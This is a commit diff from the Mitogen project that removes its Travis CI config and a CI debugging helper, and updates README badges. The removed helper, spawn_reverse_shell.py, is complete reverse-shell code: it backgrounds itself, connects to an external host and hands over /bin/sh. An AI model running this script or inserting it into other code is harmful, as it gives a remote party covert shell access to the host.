commit
a154b7b134
@ -1,36 +0,0 @@
|
|||||||
#!/usr/bin/env python
|
|
||||||
|
|
||||||
"""
|
|
||||||
Allow poking around Azure while the job is running.
|
|
||||||
"""
|
|
||||||
|
|
||||||
import os
|
|
||||||
import pty
|
|
||||||
import socket
|
|
||||||
import subprocess
|
|
||||||
import sys
|
|
||||||
import time
|
|
||||||
|
|
||||||
|
|
||||||
if os.fork():
|
|
||||||
sys.exit(0)
|
|
||||||
|
|
||||||
|
|
||||||
def try_once():
|
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
||||||
s.connect(("k3.botanicus.net", 9494))
|
|
||||||
open('/tmp/interactive', 'w').close()
|
|
||||||
|
|
||||||
os.dup2(s.fileno(), 0)
|
|
||||||
os.dup2(s.fileno(), 1)
|
|
||||||
os.dup2(s.fileno(), 2)
|
|
||||||
p = pty.spawn("/bin/sh")
|
|
||||||
|
|
||||||
|
|
||||||
while True:
|
|
||||||
try:
|
|
||||||
try_once()
|
|
||||||
except:
|
|
||||||
time.sleep(5)
|
|
||||||
continue
|
|
||||||
|
|
@ -1,95 +0,0 @@
|
|||||||
sudo: required
|
|
||||||
dist: trusty
|
|
||||||
|
|
||||||
notifications:
|
|
||||||
email: false
|
|
||||||
irc: "chat.freenode.net#mitogen-builds"
|
|
||||||
|
|
||||||
language: python
|
|
||||||
|
|
||||||
branches:
|
|
||||||
except:
|
|
||||||
- docs-master
|
|
||||||
|
|
||||||
cache:
|
|
||||||
- pip
|
|
||||||
- directories:
|
|
||||||
- /home/travis/virtualenv
|
|
||||||
|
|
||||||
env:
|
|
||||||
- NOCOVERAGE=1
|
|
||||||
|
|
||||||
install:
|
|
||||||
- grep -Erl git-lfs\|couchdb /etc/apt | sudo xargs rm -v
|
|
||||||
- .ci/${MODE}_install.py
|
|
||||||
|
|
||||||
script:
|
|
||||||
- .ci/spawn_reverse_shell.py
|
|
||||||
- .ci/${MODE}_tests.py
|
|
||||||
|
|
||||||
|
|
||||||
# To avoid matrix explosion, just test against oldest->newest and
|
|
||||||
# newest->oldest in various configuartions.
|
|
||||||
|
|
||||||
matrix:
|
|
||||||
allow_failures:
|
|
||||||
# Python 2.4 tests are still unreliable
|
|
||||||
- language: c
|
|
||||||
env: MODE=mitogen_py24 DISTRO=centos5
|
|
||||||
|
|
||||||
include:
|
|
||||||
# Debops tests.
|
|
||||||
# 2.9.6; 3.6 -> 2.7
|
|
||||||
- python: "3.6"
|
|
||||||
env: MODE=debops_common VER=2.9.6
|
|
||||||
# 2.8.3; 3.6 -> 2.7
|
|
||||||
- python: "3.6"
|
|
||||||
env: MODE=debops_common VER=2.8.3
|
|
||||||
# 2.4.6.0; 2.7 -> 2.7
|
|
||||||
- python: "2.7"
|
|
||||||
env: MODE=debops_common VER=2.4.6.0
|
|
||||||
|
|
||||||
# Sanity check against vanilla Ansible. One job suffices.
|
|
||||||
- python: "2.7"
|
|
||||||
env: MODE=ansible VER=2.8.3 DISTROS=debian STRATEGY=linear
|
|
||||||
|
|
||||||
# ansible_mitogen tests.
|
|
||||||
|
|
||||||
# 2.9.6 -> {debian, centos6, centos7}
|
|
||||||
- python: "3.6"
|
|
||||||
env: MODE=ansible VER=2.9.6
|
|
||||||
# 2.8.3 -> {debian, centos6, centos7}
|
|
||||||
- python: "3.6"
|
|
||||||
env: MODE=ansible VER=2.8.3
|
|
||||||
# 2.8.3 -> {debian, centos6, centos7}
|
|
||||||
- python: "2.7"
|
|
||||||
env: MODE=ansible VER=2.8.3
|
|
||||||
|
|
||||||
# 2.4.6.0 -> {debian, centos6, centos7}
|
|
||||||
- python: "3.6"
|
|
||||||
env: MODE=ansible VER=2.4.6.0
|
|
||||||
# 2.4.6.0 -> {debian, centos6, centos7}
|
|
||||||
- python: "2.6"
|
|
||||||
env: MODE=ansible VER=2.4.6.0
|
|
||||||
|
|
||||||
# 2.3 -> {centos5}
|
|
||||||
- python: "2.6"
|
|
||||||
env: MODE=ansible VER=2.3.3.0 DISTROS=centos5
|
|
||||||
|
|
||||||
# Mitogen tests.
|
|
||||||
# 2.4 -> 2.4
|
|
||||||
- language: c
|
|
||||||
env: MODE=mitogen_py24 DISTRO=centos5
|
|
||||||
# 2.7 -> 2.7 -- moved to Azure
|
|
||||||
# 2.7 -> 2.6
|
|
||||||
#- python: "2.7"
|
|
||||||
#env: MODE=mitogen DISTRO=centos6
|
|
||||||
- python: "3.6"
|
|
||||||
env: MODE=mitogen DISTRO=centos7
|
|
||||||
# 2.6 -> 2.7
|
|
||||||
- python: "2.6"
|
|
||||||
env: MODE=mitogen DISTRO=centos7
|
|
||||||
# 2.6 -> 3.5
|
|
||||||
- python: "2.6"
|
|
||||||
env: MODE=mitogen DISTRO=debian-py3
|
|
||||||
# 3.6 -> 2.6 -- moved to Azure
|
|
@ -1,12 +1,9 @@
|
|||||||
# Mitogen
|
# Mitogen
|
||||||
|
|
||||||
<!-- [![Build Status](https://travis-ci.org/dw/mitogen.png?branch=master)](https://travis-ci.org/dw/mitogen}) -->
|
|
||||||
<a href="https://mitogen.networkgenomics.com/">Please see the documentation</a>.
|
<a href="https://mitogen.networkgenomics.com/">Please see the documentation</a>.
|
||||||
|
|
||||||
![](https://i.imgur.com/eBM6LhJ.gif)
|
![](https://i.imgur.com/eBM6LhJ.gif)
|
||||||
|
|
||||||
[![Total alerts](https://img.shields.io/lgtm/alerts/g/mitogen-hq/mitogen.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/mitogen-hq/mitogen/alerts/)
|
[![Total alerts](https://img.shields.io/lgtm/alerts/g/mitogen-hq/mitogen.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/mitogen-hq/mitogen/alerts/)
|
||||||
|
|
||||||
[![Build Status](https://api.travis-ci.com/mitogen-hq/mitogen.svg?branch=master)](https://api.travis-ci.com/mitogen-hq/mitogen)
|
[![Build Status](https://dev.azure.com/mitogen-hq/mitogen/_apis/build/status/mitogen-hq.mitogen?branchName=master)](https://dev.azure.com/mitogen-hq/mitogen/_build/latest?definitionId=1&branchName=master)
|
||||||
|
|
||||||
[![Pipelines Status](https://dev.azure.com/mitogen-hq/mitogen/_apis/build/status/mitogen-hq.mitogen?branchName=master)](https://dev.azure.com/mitogen-hq/mitogen/_build/latest?definitionId=1&branchName=master)
|
|
||||||
|
Loading…
Reference in New Issue